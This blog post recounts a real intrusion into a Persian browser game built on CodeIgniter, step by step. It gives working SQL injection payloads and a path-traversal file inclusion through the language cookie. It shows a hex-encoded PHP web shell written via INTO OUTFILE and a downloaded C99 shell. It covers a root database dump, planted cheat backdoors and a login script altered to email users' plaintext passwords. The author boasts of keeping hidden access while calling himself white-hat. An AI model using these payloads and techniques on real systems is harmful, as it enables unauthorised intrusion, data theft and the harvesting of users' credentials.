How the browser MMO and CodeIgniter Hacked

Written by AbiusX on . Posted in Security

This one is intended to be an educational/tutorial post on how I hacked an MMORPG web browser Persian game known as Removed From Text and along with it, the well known PHP framework CodeIgniter used for developing it. Reading this might help you learn a thing or two about information security.

First of all, you're not encouraged at all to do anything against Removed From or any other CodeIgniter powered website using this technique or any equivalent technique. I am a world-class professional hacker and it's practically impossible to track my actions in the Internet, I use well implemented anonymity/privacy networks and BOTNETs to perform my tasks and infiltrate systems in a way that's very hard to detect.

Defacing any website - for any purpose - and/or stealing its private data it's a felony in international treaties and therefore is condemned highly. The intent of this article is only educational.

* * *

Finding the vulnerability

A few days ago, I visited Removed From Text to play an online web-based browser game which is purely Persian. I was well aware of the game and it's developers, since I was the coordinator for their participation in 3rd Digital Media Fair of Tehran. I played for a while, and started thinking this might take a long time, so I decided to cheat.

Probing the site and its features for a while, I figured a SQL Injection vulnerability in it's "Forgot Password" feature. It's worthy of note that SQL Injection vulnerabilities are usually found in the least attended, most obsolete sections of a website. Like a small polling dialog, or a forgot password dialog.

The vulnerability which can be seen at http://Removed From by entering foo as username and 1' morgh as the password, brings up the following dialog at http://uc.Removed From :

A Database Error Occurred

Error Number: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'morgh'' at line 1 SELECT `uid` FROM uc_users WHERE username='foo' and email='1' morgh' Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 17

It's actually a nice one, and seems to allow me to do visible SQL Injection attacks and pull out the entire application database, but it doesn't (only because of a programmers bug which came to save them here), and I'll describe the reason in a while. Googling around the error, makes one know that the infrastructure used in the site is in fact the famous PHP framework : CodeIgniter One might think that well-known highly-used PHP frameworks are bug free, but it's not entirely true, as we shall see in the rest of this post. Replacing the entered email 1' morgh with 1' and 1=0 union select 1 -- (note: there's an space after -- and also ' is a single quote, wordpress tends to change it) to peform union-bypass SQL Injection, results in the following error:

A Database Error Occurred

Error Number: 1222 The used SELECT statements have a different number of columns SELECT `uid` , `username`, `email` FROM uc_users WHERE username='foo' and email='1' and 1=0 union select 1 -- ' Filename: /var/www/universalcommander/models/forgetmodel.php Line Number: 11

Oddly, this error is not about the same SQL query as above! This one is the same, but with the difference that it asks for 3 columns as result. This makes us unable to perform union bypassing, since one of the queries asks for 1 column and the other asks for 3, and we can only inject both in the same way, and we can't ask for select 1,2,3 and select 1 at the same time (union requires both sides to have equal columns). Unfortunately, the programmers here have done something not logical which has prevented us from hacking this system and left us with only a Blind Injection vulnerability. Blind injections are much weaker and much slower, yet employing a powerful tool such as SQLMap I was able to run every SELECT query I desired on the server.

Exploiting the vulnerability

Since CodeIgniter filters all dangerous characters in a HTTP GET request, I only probed for POST vulnerabilities. The one described above is also a POST SQL Injection vulnerability. To use POST vulnerabilities in SQLMap, you have to provide it with a HTTP Request file:

POST http://uc.Removed From HTTP/1.1

Host: uc.Removed From

User-Agent: Mozilla/4.0 username=abiusx&

With the following command line:

sudo python -r requestfile.txt --sql-query="PUT YOUR QUERY HERE" --dump

And SQLMap will do the rest, namely using blind injection to return result of your query. You can also use --tables, --databases, --passwords and etc. switches to ask SQLmap to list appropriate database stuff for you.

Sapping some critical data

At this point, there are two kinds of information that are of extreme value for us to continue elevating ourselves. First are username/passwords and second are session information. Other types of data are not of much value since we can only perform SELECT queries and can't change anything in the database. We have to seek administrator users and get our hands on their passwords, so that we can elevate ourselves and infiltrate the system in an administrative layer.

There is a well-established security practice, that you have to only store hashes of passwords (which is a one-way digest of the password) in your database, and not the actual passphrases. Hashes are meant to be irreversible back to passwords, and every time a user tries to login, the hash is generated again and compared against the hash available in the database. Unfortunately, most Iranian developers don't respect this practice and store the original passwords, thus hackers finding a simple SQL Injection are able to know all the passwords of all the users, and it's a proven fact that, most users use the same password everywhere.

This was not the case though, and Removed From Text developers used hashes, and not only weak hashes such as MD5 (which are irreversible), they used strong hashes such as SHA512 with Salting, so that a hacker could not know password from hashes. To harden my practice, my favorite supercomputing service for breaking hashes ( was also unavailable at the time. Failed to acquire some passwords, I headed to get some session information. First I logged into the website with my own user, changed my IP, and refreshed the page. Bingo, the site does not force IP Validation, so I can log in as any other user, while he/she is also logged in, and system won't notice. To do some Session Hijacking all I needed was a SessionID. I reaped through all database tables, searching for sessions, but found none. This amazed me so much, as nobody keeps sessions in files these days, that I started doubting I'm hacking the right server.

My share of disappointment

I checked count of users, and it matched. I checked some other stuff and it seemed that some game information is not available in any of the databases, and there were many databases. That's when I started doing this in terminal:

dig s2.Removed From

dig s4.Removed From

dig Removed From

Bingo! These sites are not hosted on the same server. I was hacking the wrong server all this time! I switched to the other server, which was the actual game server, and found out that the "ForgotPassword" feature is protected by a reCAPTCHA. Now I was doomed, since blind injections won't work with CAPTCHAs.
But I wouldn't give up, since if there's a single vulnerability in a website, there is indeed another.
Seeking some other obsolete features of the website, I figured out that they have i18n (Internationalization) and provide both English and Persian versions of the website. i18n is a very tricky feature and since it's not used widely and tested well enough, usually has bugs here and there.
I did some WebScarab on the i18n feature, and figured out that when I click the Iran flag, it sends "FA" to the server and when I click the UK flag, it sends "EN". Well what if I sent something else intentionally? I used FireBug+FireCookie to change my "Language" cookie from "Farsi" to "Morgh", since the application seemed to keep language preferences in the cookie, and voila:

An Error Was Encountered

Unable to load the requested language file: language/morgh/general_lang.php

What does it mean? It means that language phrases are stored in files in the appropriate language folder, e.g "farsi " sentences are stored in "language/farsi/*". This error opens up the possibility of a File Inclusion attack. From the previous error I figured that files are stored in /var/www/Removed From Text/application/language/farsi/. Now all I had to do was to store my desired code somewhere in the server (the hard part) and point the language loader to it. This time I changed the language from morgh to ../../../../../tmp/ so that the absolute language path would become:

/var/www/Removed From Text/application/language/../../../../../tmp/general_lang.php

Which is in fact in terms of operating system paths:


I chose /tmp since it has full write accesses for everyone, and I could put some file there much easier.

MySQL is much better than MS SQL, yet not impenetrable

As I told you before, I couldn't do some blind injection to enumerate database information, but I could still run SQL queries. Out of all possible queries, I chose this injection:

' and 1=0 union select "<?php echo shell_exec($_REQUEST[q]); " into outfile "/tmp/general_lang.php" --

This one is very tricky, what is does is, it uses union bypass on the first query (remember, the second programmer's bug - aka query - expected 3 columns) to store the string <?php echo shell_exec($_REQUEST[q]) as the result of a SQL query into the file "/tmp/general_lang.php". The string is actually a valid PHP code, that runs everything it receives in the operating system terminal (they used Ubuntu). This query also pops the same error we got on our first server, but this time it does its trick and makes the file. Now I simply refreshed my login page's source code, only to encounter the following:

0 &lt;?php echo shell_exec&#40;$_REQUEST[q]&#41;

It seems that CodeIgniter had some other tricks up it's sleeve, it changed < and ( ) characters to their equivalent HTMLEntities to prevent XSS and similar attacks. It actually took me a while to figure out it was the framework's doing, I was thinking I made some mistakes first.

Breaking the habbit

The good news was, I knew a way to bypass it. The bad news was, the /tmp/general_lang.php already existed and I couldn't use MySQL's into outfile to overwrite it. The other good news were, I still had a limited number of tries, since the application used a bunch of language files, not only "general_lang.php". This time, I used an online string to hex tool to get the hex equivalent of my supposed PHP code "<?php echo shell_exec($_REQUEST[q])" which was 3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29 . Now I used the following query to make my new file:

' and 1=0 union select unhex("3c3f706870206563686f207368656c6c5f6578656328245f524551554553545b715d29") into outfile "/tmp/races_lang.php" --

This time, the mighty CodeIgniter could not filter my hex-encoded parameter so it left it as is, and MySQL took care of decoding it back to the actual code via unhex() function. Now I had a functional terminal access to the server, although with a limited user such as www-data. The rest of the process is piece of cake, yet I will describe it to you.

Eating the Cake

I used the following commands to find a suitable spot to upload my actuall shell:

ls -la /var/www

Result was:

-rwxrwxr-x 18 root root 4096 Feb 4 11:10 index.php 
-rwxr-xr-x 22 root root 4096 Feb 4 12:25 repairing.php 
drwxrwxr-x 1 root root 0 Jan 2 12:31 system
drwxr-xr-x 5 root root 4096 Feb 5 15:11 Removed From Text
drwxr-xr-x 21 root root 4096 Oct 20 15:33 Removed From TextGame2--
drwxr-xr-x 3 root root 4096 Oct 12 15:38 Removed From TextGame2~~ 
lrwxrwxrwx 1 root root 8 Sep 4 13:15 IptV -> Removed From Text 
drwxrwxrwx 10 sshadmin sshadmin 4096 Jan 2 12:54 azOld 
drwxrwxrwx 8 root root 4096 Feb 4 05:21 azpanel 
drwxrwxrwx 10 root root 4096 Oct 19 19:55 chat. 
drwxr-xr-x 2 root root 4096 Oct 15 14:00 email igniter 
drwxrwxrwx 7 root root 4096 Feb 4 05:16 help 
drwxrwxrwx 5 www-data www-data 4096 Oct 26 19:54 helptest 
drwxrwxrwx 4 www-data www-data 4096 Oct 19 19:28 help~ 
-rwxrwxr-x 1 root root 177 Sep 4 2010 index.html 
drwxr-xr-x 7 root root 4096 May 30 2011 register~ 
drwxr-xr-x 2 www-data www-data 4096 Feb 4 04:10 s5 
drwxrwxrwx 4 root root 4096 Feb 5 18:56 s5b 
drwxr-xr-x 4 root root 4096 Jul 6 2011 store-- 
drwxrwxrwx 3 www-data www-data 4096 Aug 2 2011 tools 
-rwxrwxr-x 1 root root 7491 Sep 9 2010 webmin.log 
drwxrwxrwx 7 root root 4096 Feb 4 12:29 wordpress

Those folders who have "www-data" as owner, are totally workable for me. Also those with the access "rwxrwxrwx" have full write accesses for everybody, so I could also do my stuff in them. Let's assume I used the folder "help", which is accessible via the URL help4.Removed From How did I figure that out? Simply by reading the files in /etc/apache2/sites-enabled/ with my tool and the command cat /etc/apache2/sites-enabled/*. Now I used the following command to upload C99 (web-based terminal) to the server:

wget "" -O /var/www/help4/shell.php

And simply access my beloved C99 shell at http://help4.Removed From . Now I headed for what I was most enthusiastic about, the source code of the online game! I'm one of top Iranian PHP developers, and I could develop an online MMORPG easily, but that would require lots of time and money, so I was eager to get my hands on their code, both to know what they did and to know their mistakes and help them back. I did the following commands to compress the whole /var/www folder and make it accessible via web, then downloaded it on my PC:

tar -zcvf /var/www /tmp/code.tar.gz # takes a few minutes, its 500 MB

ln -s /tmp/code.tar.gz /var/www/help/code.tar.gz

Then I removed the code (or maybe I forgot to?). Now I wanted the whole database to be able to run the game on another server, presumable my own system, but I needed MySQL root password for that. Don't panic, the Removed From Text team made it easy, they had to put username/password of the database in /var/www/Removed From Text/application/config/database.php, and they intended to use root for their game, so I took the password from the file, and did the following:

mysqldump -u root -pROOTPASS --all-databases | gzip > /tmp/mysql.tar.gz ln -s /tmp/mysql.tar.gz /var/www/help/mysql.tar.gz

And downloaded the whole MySQL data to my system as well (570 MB). The next step I took, was to change plenty parts of the source code, to allow me to cheat. For example, I put some backdoors to build my builds in less than a second, some to full my pool of resources, some to add money to me, and etc. The final step, was to obtain list of user passwords. Since there were 17000 users on the database, and their passwords were salted and SHA hashed, I didn't dare pay for a supercomputer to break all of them, instead I changed the login script of the Removed From Text to email a copy of the username/password whenever a user logs into the system, and I have obtained 5000 username/password pairs since then.


The tutorial described in this post, was actually performed by me. Some of the steps required lots of thinking and caution, to prevent me from being tracked and to prevent my chances being ruined (like in language files scenario). I have to disappoint you right here and now, by telling you that I contacted the Removed From Text team and patched their software, so that it's not insecure anymore (after all, I'm a white-hat). I also forked my access to many parts of the server, notably SSH user/passwords, SVN credentials and other critical information so that under no circumstances, any security expert other than me could patch the server against my access. Have fun learning Information Security!

Tags: , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Trackback from your site.

Comments (3)

  • Anonymous


    Highly informative…


  • لئو پاکر


    عمو اینا یعنی چی؟ مایل به تبادل لینک هستم. با تشکر


  • Maduka


    Hi Abbas,

    This is an amazing work what you have done. Thank you so much for this great article about how to find security holes in an application. It would be really great if you can explain how to fix those security holes in this example. can you please do that for us? :)

    Thank you very much


Leave a comment